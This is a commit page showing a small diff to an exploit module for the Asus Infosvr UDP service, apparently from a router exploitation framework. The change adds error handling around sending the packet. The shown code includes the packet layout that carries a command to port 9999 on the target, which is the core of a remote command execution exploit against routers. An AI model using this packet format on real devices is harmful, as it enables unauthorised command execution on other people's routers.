Commit 52e0afee by Marcin Bury

Fixing exception handling Asus Infosvr exploit.

parent 56924cf1
...@@ -43,7 +43,7 @@ class Exploit(exploits.Exploit): ...@@ -43,7 +43,7 @@ class Exploit(exploits.Exploit):
], ],
} }
target = exploits.Option('', 'Target address e.g. 192.168.1.1') target = exploits.Option('', 'Target IP address e.g. 192.168.1.1')
def run(self): def run(self):
try: try:
...@@ -76,7 +76,10 @@ class Exploit(exploits.Exploit): ...@@ -76,7 +76,10 @@ class Exploit(exploits.Exploit):
packet = (b'\x0C\x15\x33\x00'+ os.urandom(4) + (b'\x00' * 38) + struct.pack('<H', len(cmd)) + cmd).ljust(512, b'\x00') packet = (b'\x0C\x15\x33\x00'+ os.urandom(4) + (b'\x00' * 38) + struct.pack('<H', len(cmd)) + cmd).ljust(512, b'\x00')
try:
sock.sendto(packet, (self.target, 9999)) sock.sendto(packet, (self.target, 9999))
except socket.error:
return ""
while True: while True:
try: try:
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment